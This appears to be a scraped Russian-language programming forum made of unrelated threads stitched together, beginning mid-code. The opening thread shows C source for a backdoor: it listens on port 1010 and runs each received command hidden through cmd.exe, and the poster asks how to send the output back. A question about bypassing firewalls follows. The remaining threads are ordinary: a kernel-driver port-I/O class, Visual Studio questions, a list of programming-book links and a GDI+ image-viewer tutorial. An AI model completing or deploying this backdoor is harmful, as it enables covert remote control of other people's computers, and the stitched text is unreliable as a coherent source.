addr_Sock.sin_family = AF_INET;
addr_Sock.sin_addr.s_addr = htonl(INADDR_ANY);
addr_Sock.sin_port = htons(1010);//порт
if(bind(listet_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return 0;
if(listen(listet_Sock, 1)) return 0;
int i;
char type[2], buf[126];
while(true){
SOCKET hack_Sock = accept(listet_Sock,NULL,NULL);
while(true){
i = recv(hack_Sock, type, 2, 0),recv(hack_Sock, buf, 126, 0);
if ((i== SOCKET_ERROR)||(i == 0)) break;
if (type[0] == 'e')
{
char buf_command[524] = "/c ";
strcat(buf_command,buf);
ShellExecuteA(NULL, "open", "cmd.exe", buf_command, NULL, SW_SPOILER);
}
}
shutdown(hack_Sock,1);
closesocket(hack_Sock);
}
WSACleanup();
return 0;
}
Понимаю, что примитивно, но все же. Как мне организовать вывод результатов команд cmd? Т.е. я коннектюсь, передаю команды в виде e "dir", а вывод результатов не доделан.
Люди!!! Мож кто знает, как работает утилита net send???
Про run:net send "message" я знаю,
хотелось бы узнать, на каком порту висит, что бы мессагу отправить
непосредственно в порт?
Спасибо!!! :bang:
Как можно организовать обход фаерволов на: С
Как вам всем известно - в Винде ХР нельзя напрямую работать с портами переферии работать, поэтому функции _outp и _inp из стандартного conio.h - курят в сторонке ибо выскакивает исключение..
К книге Всеволода Несвижского на эту тему прилагается 3 любопытнейших файлика
Но почему-то они нифига не пашут..
Приведу листинги файлов на С.
Code:Copy to clipboard
// реализация класса СIO32NT
#include "stdafx.h"
#include "IO32NT.h"
#include <conio.h>
#include <Winsvc.h>
// конструктор
CIO32NT :: CIO32NT ( )
{
hSYS = NULL;
}
// деструктор
CIO32NT :: ~CIO32NT ( )
{
DWORD dwReturn;
if ( hSYS != INVALID_HANDLE_VALUE )
{
// блокируем драйвер
DeviceIoControl ( hSYS, IOCTL_WINIO_DISABLEDIRECTIO, NULL,
0, NULL, 0, &dwReturn, NULL );
CloseHandle ( hSYS ); // закрываем драйвер
}
// освобождаем системные ресурсы
_freeService ( );
hSYS = NULL;
}
// функции
bool CIO32NT :: InitPort ( )
{
bool bResult;
PSTR pszTemp;
char szExe[MAX_PATH];
DWORD dwRet;
// открываем драйвер
hSYS = CreateFile ( "\\\\.\\IOtrserv", GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
// если не удалось, инициализируем службу сервисов
if ( hSYS == INVALID_HANDLE_VALUE )
{
// получаем имя программы
if ( !GetModuleFileName ( GetModuleHandle ( NULL ), szExe,
sizeof ( szExe ) ) )
return false;
// ищем указатель на последнюю косую черту
pszTemp = strrchr ( szExe, '\\' );
// убираем имя программы
pszTemp[1] = 0;
// а вместо него добавляем имя драйвера
strcat ( szExe, "IOtrserv.sys" );
// загружаем сервис
bResult = _loadService ( szExe );
// если ошибка, выходим из функции
if ( !bResult ) return false;
// запускаем наш сервис
bResult = _goService ( );
// если ошибка, выходим из функции
if ( !bResult ) return false;
// открываем драйвер
hSYS = CreateFile ( "\\\\.\\IOtrserv", GENERIC_READ |
GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
// если не удалось, выходим из функции
if ( hSYS == INVALID_HANDLE_VALUE ) return false;
}
if ( !DeviceIoControl ( hSYS, IOCTL_WINIO_ENABLEDIRECTIO, NULL,
0, NULL, 0, &dwRet, NULL ) )
return false; // драйвер недоступен
return true;
}
bool CIO32NT :: _loadService ( PSTR pszDriver )
{
SC_HANDLE hSrv;
SC_HANDLE hMan;
// на всякий случай выгружаем открытый сервис
_freeService ( );
// открываем менеджер сервисов
hMan = OpenSCManager ( NULL, NULL, SC_MANAGER_ALL_ACCESS );
// создаем объект сервиса из нашего драйвера
if ( hMan )
{
hSrv = CreateService ( hMan, "IOtrserv", "IOtrserv",
SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL, pszDriver, NULL, NULL, NULL, NULL, NULL );
// освобождаем менеджер объектов
CloseServiceHandle ( hMan );
if ( hSrv == NULL ) return false;
}
else
return false;
CloseServiceHandle ( hMan );
return true;
}
bool CIO32NT :: _goService (
{
bool bRes;
SC_HANDLE hSrv;
SC_HANDLE hMan;
// открываем менеджер сервисов
hMan = OpenSCManager ( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if ( hMan )
{
// открываем сервис
hSrv = OpenService ( hMan, "IOtrserv", SERVICE_ALL_ACCESS );
// закрываем менеджер сервисов
CloseServiceHandle ( hMan );
if ( hSrv )
{
// запускаем сервис
bRes = StartService ( hSrv, 0, NULL );
// в случае ошибки закрываем дескриптор
if( !bRes )
CloseServiceHandle ( hSrv );
}
else
return false;
}
else
return false;
return bRes;
}
bool CIO32NT :: _stopService ( )
{
bool bRes;
SERVICE_STATUS srvStatus;
SC_HANDLE hMan;
SC_HANDLE hSrv;
// открываем менеджер сервисов
hMan = OpenSCManager ( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if ( hMan )
{
// открываем сервис
hSrv = OpenService ( hMan, "IOtrserv", SERVICE_ALL_ACCESS );
// закрываем менеджер сервисов
CloseServiceHandle ( hMan );
if ( hSrv )
{
// останавливаем сервис
bRes = ControlService ( hSrv, SERVICE_CONTROL_STOP, &srvStatus );
// закрываем сервис
CloseServiceHandle ( hSrv );
}
else
return false;
}
else
return false;
return bRes;
}
bool CIO32NT :: _freeService ( )
{
bool bRes;
SC_HANDLE hSrv;
SC_HANDLE hMan;
// останавливаем наш сервис
_stopService ( );
// открываем менеджер сервисов
hMan = OpenSCManager ( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if ( hMan )
{
// открываем сервис
hSrv = OpenService ( hMan, "IOtrserv", SERVICE_ALL_ACCESS );
// закрываем менеджер сервисов
CloseServiceHandle ( hMan );
if ( hSrv )
{
// удаляем наш сервис из системы и освобождаем ресурсы
bRes = DeleteService ( hSrv );
// закрываем дескриптор нашего сервиса
CloseServiceHandle ( hSrv );
}
else
return false;
}
else
return false;
return bRes;
}
// пишем функции ввода-вывода
void CIO32NT :: inPort ( WORD wPort, PDWORD pdwValue, BYTE bSize )
{
switch ( bSize )
{
case 1:
*pdwValue = _inp( wPort );
break;
case 2:
*pdwValue = _inpw ( wPort );
break;
case 4:
*pdwValue = _inpd ( wPort );
break;
}
}
void CIO32NT :: outPort ( WORD wPort, DWORD dwValue, BYTE bSize )
{
switch ( bSize )
{
case 1:
_outp ( wPort, ( BYTE ) dwValue );
break;
case 2:
_outpw ( wPort, ( WORD ) dwValue );
break;
case 4:
_outpd ( wPort, dwValue );
break;
}
}
и
Code:Copy to clipboard
// IO32NT.h: interface for the CIO32NT class.
#include <winioctl.h>
// определяем коды функций драйвера
#define FILE_DEVICE_WINIO 0x00008010
#define WINIO_IOCTL_INDEX 0x810
#define IOCTL_WINIO_ENABLEDIRECTIO CTL_CODE ( FILE_DEVICE_WINIO, \
WINIO_IOCTL_INDEX + 2, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define IOCTL_WINIO_DISABLEDIRECTIO CTL_CODE ( FILE_DEVICE_WINIO, \
WINIO_IOCTL_INDEX + 3, METHOD_BUFFERED, FILE_ANY_ACCESS )
// объявляем класс
class CIO32NT
{
public:
CIO32NT ( );
~CIO32NT ( );
// общие функции
bool InitPort ( ); // инициализация драйвера
// функция для считывания значения из порта
void inPort ( WORD wPort, PDWORD pdwValue, BYTE bSize );
// функция для записи значения в порт
void outPort ( WORD wPort, DWORD dwValue, BYTE bSize );
private:
// закрытая часть класса
HANDLE hSYS; // дескриптор драйвера
// служебные функции
// загрузка сервиса
bool _loadService ( PSTR pszDriver );
bool _goService ( ); // запуск сервиса
bool _stopService ( ); // остановка сервиса
bool _freeService ( ); // закрытие сервиса
}; // окончание класса
В частности - мне непонятно место
Code:Copy to clipboard
// ищем указатель на последнюю косую черту
pszTemp = strrchr ( szExe, '\\' );
// убираем имя программы
pszTemp[1] = 0;
// а вместо него добавляем имя драйвера
strcat ( szExe, "IOtrserv.sys" );
в реализации функции..
Мб из-за этого не пашет, а мб из-за чего-то другого...
Реально ли эту гадость заставить работать или что вообще надо сделать, чтобы
заработала данная тема работы с устройствами?
У меня вопрос по самой VS 7 .Net
Суть:
в меню Project есть пункт Add function
(если его там нет, в View->Toolbars->Customize можно настроить)
Как этим пользоваться?
Если я правильно понимаю, то это должен быть мастер создания функций,
но при работе с кодом этот пункт не доступен.
подскажите плиз как реализовать обращние к флопику, что бы он издавал звук, анологичный звуку, издаваемому при нажатии на пустой флопик правой кнопкой грызуна.
Недавно начал изучать Си , до этого только кое что на паскале ваял. Поставил себе посмотреть что подрукой было(BORLAND C++ 3.1 & BORLAND C++ 3.1 for Windows, Microsoft Visual C++ 6.0) Поевились вопросы:
При создании фаила типа хело ворлд под С++ 3.1 прога (исходный ехе фаил)
весит 22,9 кБ, в BORLAND C++ 3.1 for Windows 33 кБ , в Microsoft Visual C++
6.0 занимает аж целых 172 кБ - немноголи это для программы такого типа ?
И отсюда вытекает сразу следующий вопрос - может всё дело в настройках
компилятора и как тогда его толково настроить.
Пролистал преведущие топики узнал о существовании уже 7 и 8 версии Microsoft Visual C++ - актуальны ли преведущие вопросы там и стоит ли переходить на новые версии - отличаются ли они координально от преведущих версий или просто немного подправленые - пропатченые продукты и толку особого нет?
195 книг по програмированию
вот нашёл куча книг по програмированию, если быть точным их 195
How to Be a Programmer
http://samizdat.mines.edu/howto/HowToBeAProgrammer.html
How to Design Programs
http://www.htdp.org/2002-09-22/Book/
Practical Theory of Programming
http://www.cs.toronto.edu/%7Ehehner/aPToP/
Software Engineering for Internet Applications
http://philip.greenspun.com/seia/
Structure and interpretation of computer programs
http://mitpress.mit.edu/SICP/
More programming books http://2020ok.com/3839.htm
The Programmers Stone
http://www.reciprocality.org/Reciprocality/r0/
Subversion Version Control: Using the Subversion Version Control System in
Development Projects
http://www.phptr.com/promotions/promotion....84&redir=1&rl=1
Ada
Ada 95 Rational
http://www.adaic.org/standards/95rat/RATht...5-contents.html
Ada 95 Reference Manual
http://www.adahome.com/rm95/
Changes to Ada 1987 - 1995
http://www.oopweb.com/Ada/Documents/Change...lumeFrames.html
Ada 95: The Lovelace Tutorial
http://www.adahome.com/Tutorials/Lovelace/master.htm
The Big Online Book of Linux Ada Programming
http://www.pegasoft.ca/resources/boblap/book.html
Algorithms
Algorithms and Complexity
http://www.cis.upenn.edu/%7Ewilf/AlgComp.html
Programming Algorithms http://2020ok.com/3870.htm
Information Theory, Inference, and Learning Algorithms
http://www.inference.phy.cam.ac.uk/mackay/itprnn/book.html
Assembly
Assembly Language Tutorial
http://www.oopweb.com/Assembly/Documents/a...lumeFrames.html
Programming From the Ground Up
http://download.savannah.gnu.org/releases/pgubook/
Assembly Language Programming http://2020ok.com/3954.htm
Ralph Brown's Interrupt List
http://www.oopweb.com/Assembly/Documents/I...lumeFrames.html
The Art of Assembly Language Programming
http://www.oopweb.com/Assembly/Documents/A...lumeFrames.html
The Assembly Language Database
http://www.oopweb.com/Assembly/Download/NortonGuide.zip
Win32 Programming for x86 Assembly Language Programmers
http://www.oopweb.com/Assembly/Documents/W...lumeFrames.html
C
A Tutorial on Pointers and Arrays in C
http://www.oopweb.com/CPP/Documents/CPoint...lumeFrames.html
C Programming
http://www.oopweb.com/CPP/Documents/CProgr...lumeFrames.html
Object Orientated Programming in ANSI-C
http://www.planetpdf.com/developer/article...?contentid=6635
The C Book
http://publications.gbdirect.co.uk/c_book/
Writing Bug-Free C Code
http://www.duckware.com/bugfreec/index.html
C - Elements of Style
http://www.computer-books.us/c_3.php
Learning GNU C
http://www.linuxtopia.org/online_books/pro...nu_c/index.html
C++
An Overview Of The C++ Programming Langauge
http://www.oopweb.com/CPP/Download/crc.zip
C++ Annotations
http://www.oopweb.com/CPP/Documents/CPPAnn...lumeFrames.html
C++ Annotations
http://www.oopweb.com/CPP/Download/cplusplus.zip
C++ Coding Standard
http://www.oopweb.com/CPP/Documents/CodeSt...lumeFrames.html
C & C++ http://2020ok.com/3956.htm
C++ Course
http://www.oopweb.com/CPP/Download/CPPCourse.zip
C++ How To
http://www.oopweb.com/CPP/Documents/CPPHOW...lumeFrames.html
C++ In Action
http://www.relisoft.com/book/index.htm
C++: A Dialog
http://www.steveheller.com/cppad/cppad.htm
How To Think Like A Computer Scientist with C++
http://www.oopweb.com/CPP/Documents/ThinkC...lumeFrames.html
Introduction To OOP Using C++
http://www.oopweb.com/CPP/Documents/Intro2...lumeFrames.html
Introduction To OOP Using C++
http://www.oopweb.com/CPP/Download/Intro2OOP.zip
Objects First
http://www.oopweb.com/CPP/Documents/Object...lumeFrames.html
Optimizing C++
http://www.steveheller.com/opt/
STL Guide
http://www.oopweb.com/CPP/Documents/STLGui...lumeFrames.html
STL Guide
http://www.oopweb.com/CPP/Download/stl.zip
The Function Pointer Tutorials
http://www.oopweb.com/CPP/Documents/Functi...lumeFrames.html
The Standard Template Library Tutorial
http://www.oopweb.com/CPP/Documents/STL/VolumeFrames.html
Thinking in C++
http://www.planetpdf.com/developer/article...?ContentID=6634
Thinking in C++, Second Edition (Volumes 1 & 2)
http://mindview.net/Books/TICPP/ThinkingInCPP2e.html
An Introduction to C++ Programming
http://www.computer-books.us/cpp_1.php
Programming in C++ - Rules and Recommendations
http://www.computer-books.us/cpp_6.php
A Beginners C++ Book
http://www.uow.edu.au/~nabg/ABC/ABC.html
C++ GUI Programming with Qt 3
http://www.phptr.com/promotion/1484?redir=1
Cross-Platform GUI Programming with wxWidgets
http://www.phptr.com/promotion/1484?redir=1
C#
C# in Detail
http://www.computer-books.us/csharp_0005.php
C# - The Basics
http://www.computer-books.us/csharp_0004.php
C# Language Specification
http://www.computer-books.us/csharp_1.php
Data Structures and Algorithms with Object-Oriented Design Patterns in C#
http://www.computer-books.us/csharp_2.php
C# Programming http://2020ok.com/697342.htm
Dissecting a C# Application - Inside SharpDevelop
http://www.computer-books.us/csharp_3.php
C# tutorial (2 .pdf's)
[http://www.ssw.uni-
linz.ac.at/Teaching/Lec...Sharp/Tutorial/](http://www.ssw.uni-
linz.ac.at/Teaching/Lectures/CSharp/Tutorial/)
CGI
CGI Programming on the World Wide Web
http://www.oreilly.com/openbook/cgi/
CGI Programming http://2020ok.com/4025.htm
COBOL
zingCOBOL - A Beginners Guide to COBOL Programming
http://www.computer-books.us/cobol_0006.php
Teach Yourself COBOL in 21 Days
http://www.computer-books.us/cobol_0005.php
WebSphere Studio COBOL for Windows - Language Reference
http://www.computer-books.us/cobol_1.php
COBOL Programming Course
http://www.computer-books.us/cobol_2.php
COBOL Programming http://2020ok.com/3969.htm
WebSphere Studio COBOL for Windows - Programming Guide
http://www.computer-books.us/cobol_3.php
HP COBOL II/XL Reference Manual
http://www.computer-books.us/cobol_4.php
Databases
MySQL Reference Manual
http://dev.mysql.com/doc/
Database http://2020ok.com/549646.htm
Oracle 10g Database Book and Documentation Library
http://wtcis.wtamu.edu/oracle/
Delphi/Pascal
Delphi 2005 Tutorial for Beginners
http://www.xcalibur.co.uk/training/Delphi2005/index.php
Delphi Training
http://www.xcalibur.co.uk/training/delphi/oldindex.html
Essential Delphi
http://marcocantu.com/edelphi/default.htm
Essential Pascal
http://marcocantu.com/epascal/default.htm
Delphi Language Guide - Delphi For The Microsoft .NET Framework
http://www.computer-books.us/delphi_2.php
Delphi Database Application Developers Guide
http://www.computer-books.us/delphi_1.php
Fortran
Numerical Recipes with Fortran 77
http://www.library.cornell.edu/nr/cbookfpdf.html
Numerical Recipes with Fortran 90
http://www.library.cornell.edu/nr/cbookf90pdf.html
Professional Programmer's Guide to Fortran 77
http://www.computer-books.us/fortran_3.php
User Notes on Fortran Programming (UNFP)
http://www.ibiblio.org/pub/languages/fortran/
HTML
HTML 4.01 Specifications
http://www.oopweb.com/HTML/Documents/HTML4/VolumeFrames.html
Web Development http://2020ok.com/3510.htm
Writing HTML
http://www.oopweb.com/HTML/Documents/Writi...lumeFrames.html
Java
How to Think Like a Computer Scientist with Java
http://www.oopweb.com/Java/Documents/Think...lumeFrames.html
Introduction to Programming Using Java
http://www.oopweb.com/Java/Documents/Intro...lumeFrames.html
Introduction To Programming Using Java
http://www.linuxtopia.org/online_books/pro...ming/index.html
Java Programming Tutorial: Introduction to Computer Science
http://www.oopweb.com/Java/Documents/JavaN...lumeFrames.html
Thinking in Java, 3rd Edition
http://www.mindview.net/Books/TIJ/
Thinking in Enterprise Java
http://www.ibiblio.org/pub/docs/books/eckel/
More Java Books http://kickjava.com/freeBooks.html
Java AWT Reference
http://www.oreilly.com/catalog/javawt/book/index.html
Enterprise JavaBeans
http://www.computer-books.us/java_1.php
Essentials of the Java Programming Language - Part 1
http://www.computer-books.us/java_2.php
Essentials of the Java Programming Language - Part 2
http://www.computer-books.us/java_3.php
Exploring Java
http://www.computer-books.us/java_4.php
Introduction to Computer Science using Java
http://www.computer-books.us/java_5.php
Java Development http://2020ok.com/3608.htm
Java Language Reference
http://www.computer-books.us/java_8.php
Java Servlet Programming
http://www.computer-books.us/java_9.php
Java Web Services Tutorial
http://www.computer-books.us/java_10.php
Java Look and Feel Design Guidelines, Second Edition
http://java.sun.com/products/jlf/ed2/book/index.html
The Design Patterns: Java Companion
http://www.patterndepot.com/put/8/JavaPatterns.htm
1000 Java Tips e-Book
http://javaa.com
Apache Jakarta Commons: Reusable Java™ Components
http://www.phptr.com/promotion/1484?redir=1
Java™ Application Development on Linux®
http://www.phptr.com/promotion/1484?redir=1
Practical Artificial Intelligence Programming in Java
http://www.markwatson.com/opencontent/javaai_lic.htm
Javascript
Voodoo's Introduction to Javascript
http://www.oopweb.com/JavaScript/Documents...lumeFrames.html
Javascript Programming http://2020ok.com/3617.htm
Linux
Linux Device Drivers, Third Edition
http://lwn.net/Kernel/LDD3/
The Linux Development Platform
http://www.phptr.com/promotion/1484?redir=1
Understanding the Linux Virtual Memory Manager
http://www.phptr.com/promotion/1484?redir=1
Self-Service Linux®: Mastering the Art of Problem Determination
http://www.phptr.com/promotion/1484?redir=1
Linux® Quick Fix Notebook
http://www.phptr.com/promotion/1484?redir=1
Managing Linux Systems with Webmin: System Administration and Module
Development
http://www.phptr.com/promotion/1484?redir=1
An Introduction to GCC
http://www.linuxtopia.org/online_books/an_..._gcc/index.html
Linux http://2020ok.com/3756.htm
Using the GNU Compiler Collection (GCC)
http://www.linuxtopia.org/online_books/pro...tion/index.html
Bash Reference Guide
http://www.linuxtopia.org/online_books/bas...uide/index.html
Bash Guide for Beginners
http://www.linuxtopia.org/online_books/bas...ners/index.html
Advanced Bash Scripting Guide
http://www.linuxtopia.org/online_books/adv...uide/index.html
Linux Kernel Module Programming Guide
http://www.linuxtopia.org/online_books/Lin...uide/index.html
Red Hat Linux Developer Tools Guide
http://www.linuxtopia.org/online_books/red...uide/index.html
Linux Debugging with gdb Guide
http://www.linuxtopia.org/online_books/red..._gdb/index.html
Using cpp, the C Preprocessor Guide
http://www.linuxtopia.org/online_books/pro...ssor/index.html
Lisp
Loving Lisp - the Savy Programmer's Secret Weapon
http://www.markwatson.com/opencontent/lisp_lic.htm
List Programming http://2020ok.com/3981.htm
Open Source
Rapid Application Development with Mozilla
http://www.phptr.com/promotion/1484?redir=1
Creating Applications with Mozilla
http://books.mozdev.org/chapters/index.html
Free as in Freedom
http://www.oreilly.com/openbook/freedom/index.html
Managing Projects with GNU make, 3rd Edition
http://www.oreilly.com/catalog/make3/book/index.csp
OpenSources: Voices from the Open Source Revolution
http://www.oreilly.com/catalog/opensources/book/toc.html
Understanding Open Source and Free Software Licensing
http://www.oreilly.com/catalog/osfreesoft/book/
Embedded Software Development with eCos
http://www.phptr.com/promotion/1484?redir=1
Open Source Security Tools: A Practical Guide to Security Applications
http://www.phptr.com/promotion/1484?redir=1
Perl
HTMLified Perl 5 Reference Guide
http://www.oopweb.com/Perl/Documents/Perl5...lumeFrames.html
Perl 5 Documentation
http://www.oopweb.com/Perl/Documents/PerlD...lumeFrames.html
Perl for Perl Newbies
http://www.oopweb.com/Perl/Documents/P4PNe...lumeFrames.html
Perl for Win32 FAQ
http://www.oopweb.com/Perl/Documents/PerlW...lumeFrames.html
Picking Up Perl
http://www.oopweb.com/Perl/Documents/Picki...lumeFrames.html
Picking Up Perl
http://www.linuxtopia.org/online_books/perl/index.html
Perl Programming
http://www.2020ok.com/4045.htm
Practical Perl Programming
http://www.oopweb.com/Perl/Documents/ppp/VolumeFrames.html
Beginning Perl
http://www.perl.org/books/beginning-perl/
Impatient Perl
http://www.perl.org/books/impatient-perl/
Extreme Perl
http://www.extremeperl.org/bk/home
MacPerl: Power & Ease
http://macperl.com/ptf_book/r/MP/i2.html
Embedding Perl in HTML with Mason
http://www.masonbook.com/
Perl for the Web
http://www.globalspin.com/thebook/
Practical mod_perl (1st edition)
http://modperlbook.com/
Web Client Programming with Perl
http://www.oreilly.com/openbook/webclient/
Perl 5 By Example
http://www.computer-books.us/perl_0010.php
An Introduction to Perl
http://www.linuxtopia.org/Perl_Tutorial/index.html
PHP
Practical PHP Programming
http://www.hudzilla.org/phpbook/
A Programmer's Introduction to PHP 4.0 -http://www.apress.com/free/
PHP 5 Power Programming
http://www.computer-books.us/php_2.php
PHP Programming http://2020ok.com/295223.htm
Practical PHP Programming
http://www.computer-books.us/php_3.php
Prolog
Adventure in Prolog
http://www.amzi.com/AdventureInProlog/
Building Expert Systems in Prolog
-http://www.amzi.com/ExpertSystemsInProlog/
Prolog programming http://2020ok.com/295223.htm
Prolog Programming A First Course
http://computing.unn.ac.uk/staff/cgpb4/prologbook/
Python
Non-Programmers Tutorial for Python
http://rupert.honors.montana.edu/~jjc/easy...ut/easytut.html
Official Python Documentation
http://www.python.org/doc/current/
Text Processing in Python -http://gnosis.cx/TPiP/
Python Reference Manual
http://docs.python.org/ref/ref.html
Python Imaging Library Handbook -[http://www.pythonware.com/library/the-
pyth...ing-library.htm](http://www.pythonware.com/library/the-python-imaging-
library.htm)
How to Think Like a Computer Scientist - Learning with Python
http://www.greenteapress.com/thinkpython
Dive Into Python -http://diveintopython.org/
Python Programming http://2020ok.com/285856.htm
Thinking in Python
http://mindview.net/Books/TIPython
A Byte of Python
http://www.ibiblio.org/g2swap/byteofpython/read/
Ruby
Programming Ruby - The Pragmatic Programmer's Guide (First Edition)
http://www.ruby-doc.org/docs/ProgrammingRuby/
Why's (Poignant) Guide to Ruby
http://poignantguide.net/ruby/ <–the funniest programming book I have ever
seen!
Samba
Samba-3 by Example: Practical Exercises to Successful Deployment
http://www.phptr.com/promotion/1484?redir=1
Samba-3 by Example: Practical Exercises to Successful Deployment, 2nd Edition
http://www.phptr.com/promotion/1484?redir=1
The Official Samba-3 HOWTO and Reference Guide
http://www.phptr.com/promotion/1484?redir=1
Implementing CIFS: The Common Internet File System
http://www.phptr.com/promotion/1484?redir=1
SQL
Comparison of Different SQL Implementations
http://www.computer-books.us/sql_0004.php
SQL - A Practical Introduction
http://www.managedtime.com/freesqlbook.php3
Introduction To Structured Query Language
http://www.computer-books.us/sql_2.php
Practical PostgreSQL
http://www.opendocspublishing.com/ppbook/
UNIX
FreeBSD Handbook
http://www.freebsd.org/doc/en_US.ISO8859-1...book/index.html
Unix http://2020ok.com/3778.htm
The UNIX-HATERS Handbook
http://research.microsoft.com/%7Edaniel/unix-haters.html
Visual Basic and VB.net
Programming VB.NET - A Guide For Experienced Programmers
http://www.apress.com/free/
Upgrading Microsoft Visual Basic 6.0 to Microsoft Visual Basic .NET
http://msdn.microsoft.com/vbrun/staythepat...s/upgradingvb6/
Visual Basic http://2020ok.com/3996.htm
Introducing Visual Basic 2005 for Developers
http://msdn.microsoft.com/vbrun/staythepat...05/default.aspx
XML
OpenOffice.org XML Essentials
http://books.evc-cit.info/
Misc. stuff that is worth reading
FREE Trade Magazine Subscriptions & Technical Document Downloads
http://i.nl03.net/ltr0/?_m=01.009i.nv.mfm.nv
The Future does not compute
http://www.praxagora.com/stevet/fdnc/toc.html
The Cathedral and the Bazaar
http://www.catb.org/~esr/writings/cathedral-bazaar/
Article: Изображения в ассортименте
Author: Great
Date: 24.07.2006
Theme: Coding
Lang.: C++
Base: Win32 GUI
/**************************************************************************/
// I. Что такое GDI+
Я решил рассказать тебе о том, как удобно обрабатывать изображения в Windows. Например, нужно тебе нарисовать изображение из файла. Я думаю, не самый лучший способ убить время - кодить жуткую последовательность из CreateFile, CreateFileMapping, MapViewOfFile, CreateBitmapIndirect и SelectObject. К тому же, запутаться будет проще простого. Есть более простое решение - библиотека GDI+ от нашего старого знакомого дяди Билла. Она экспортирует классы (точнее, не совсем классы - экспортирует она так называемые Flat API, а в хидерах описаны классы, все функции которых строятся на этих flat API. Весьма интересный способ), с помощью которых легко можно загрузить/отобразить/модифицировать/сохранить изображение. А самое приятное - GDI+ входит в стандартную поставку Windows 98/Me, Windows XP, Windows 2000, Windows NT 4.0 SP6 (открой %WINDIR% и поищи поиском файлик gdiplus.dll). Заголовки и библиотека импорта для нее есть в Microsoft Visual Studio 2005, а в VC++ 6.0 нет (у меня, по крайней мере ), поэтому я прилагаю к статье все хидеры и библиотеку импорта. Все это добро скармливается компилеру и линкеру VC++ 6.0 (правда, перед включением хидеров нужно будет написать typedef ULONG *ULONG_PTR).
// II. С чем его едят
А едят его очень просто . Сначала нужно инициализировать GDI+ следующими строками кода:
Code:Copy to clipboard
// переменные для работы с GDI+
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
// Инициализируем GDI+
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
В конце нужно его отрубить такой строкой:
Code:Copy to clipboard
GdiplusShutdown(gdiplusToken);
Ну а работать с GDI проще простого. Сначала создаем объект класса Graphics (это некий прототип HDC из GDI. Как написано в MSDN, класс Graphics предоставляет методы для рисования линий, кривых, фигур, изображений и текста):
Code:Copy to clipboard
Graphics graph(hdc); // создаем объект на базе контекста устройства, чей хендл hdc
Хотим нарисовать закрашенный прямоугольник - нет проблем:
Code:Copy to clipboard
SolibBrush redbrush(Color(255, 0, 0));
graph.FillRectangle(&redbrush, 0, 0, 100, 100);
Хотим картинку загрузить - пожалуйста:
Code:Copy to clipboard
Image img(L"E:\\Windows\\winnt.bmp");
graph.DrawImage(&img, 0, 0); // последние два параметра - координаты X,Y точки, с которой следует вывести заветное изображение
Оказывается, его так же просто можно и сохранить. Для этого есть метод Save класса Image, которому можно передать 3 аргумента - имя файла (в юникоде, GDI+, к сожалению, не понимает ANSI), Class ID требуемого кодека (ведь можно загрузить файл в одном формате,а сохранять в другом) и параметры кодека (например, для jpeg можно указать степень сжатия). Получить ClSID кодека по его Mime-типу (например, image/png) можно с помощью функции GetEncoderClassid, код которой есть в исходнике к статье и который я честно переписал из MSDN (он получает список всех кодеков вызовом GetImageEncoders и просто ищет в нем нужный).
// III. Вьювер изображений
Чтобы просто так не играться с GDI+, напишем что-нибудь полезное, например,
вьювер изображений. Конечно, до ACDSee или Ifran View мы не дотянем, да и у
нас нет такой цели.
Писать будем на чистом API, поклонников MFC просьба удалиться (я считаю, что
научиться вызывать GetDlgItemText вместо UpdateData и DialogBoxParam вместо
DoModal несложно, зато пользы от этого будет немало в виде быстродействия и
сокращения размеров экзешника).
Примерный скелет программы на API с показом окошка, я думаю, тебе знаком:
Code:Copy to clipboard
WinMain()
{
готовим WNDCLASSEX
вызываем CreateWindow
while (GetMessage(&msg, NULL, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
WndProc()
{
обрабатываем сообщения от Windows
}
Нам понядобятся глобальные переменные для работы GDI+:
Code:Copy to clipboard
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
Перед вызовом CreateWindow стартуем GDI+, а после получения WM_QUIT - завершаем:
Code:Copy to clipboard
// Инициализируем GDI+
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
// Создаем окно
if(!(hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL)))
{
MessageBox(0, "Unable to create window", 0, MB_ICONERROR);
return FALSE;
}
< ... >
while (GetMessage(&msg, NULL, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
GdiplusShutdown(gdiplusToken);
return (int)msg.wParam;
В самом вьювере реализуем следующие фичи:
- полноэкранный режим. Где ты видел нормальный вьювер без полноэкранного
режима?
- авто-сжатие изображения до размеров окна (опционально). Тоже необходимая
штука
- zoom и сохранение зум-множителя при открытии нового изображения
(опционально)
- поворот изображения (90/180/270 градусов (не алкогольных, а
угловых))
- переход к следующему/предыдущему файлу при повороте колеса мыши. Очень
удобная вешь
- Drag & Drop
- анимация при показе/уничтожении окна. Так красивее
Разберем каждую фичу отдельно.
Code:Copy to clipboard
WNDCLASS wc;
.....
RegisterClassW(&wc);
/* вот это нам интересно */
CreateWindowExW(WS_EX_TOPMOST, lpClassName, lpWindowName, WS_POPUP|WS_VISIBLE, ..... )
Поскольку у нас окно уже есть, будем делать так:
Code:Copy to clipboard
/* вход в фулскрин */
// Ставим стили
SetWindowLong(hWnd, GWL_STYLE, WS_POPUP|WS_VISIBLE|WS_SYSMENU);
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOPMOST|WS_EX_APPWINDOW);
// Сохраняем положение
GetWindowRect(GetDesktopWindow(), &rt);
GetWindowPlacement(hWnd, &oldPlacement);
// Развертываем на весь экран
MoveWindow(hWnd, rt.left, rt.top, rt.right-rt.left, rt.bottom-rt.top, 1);
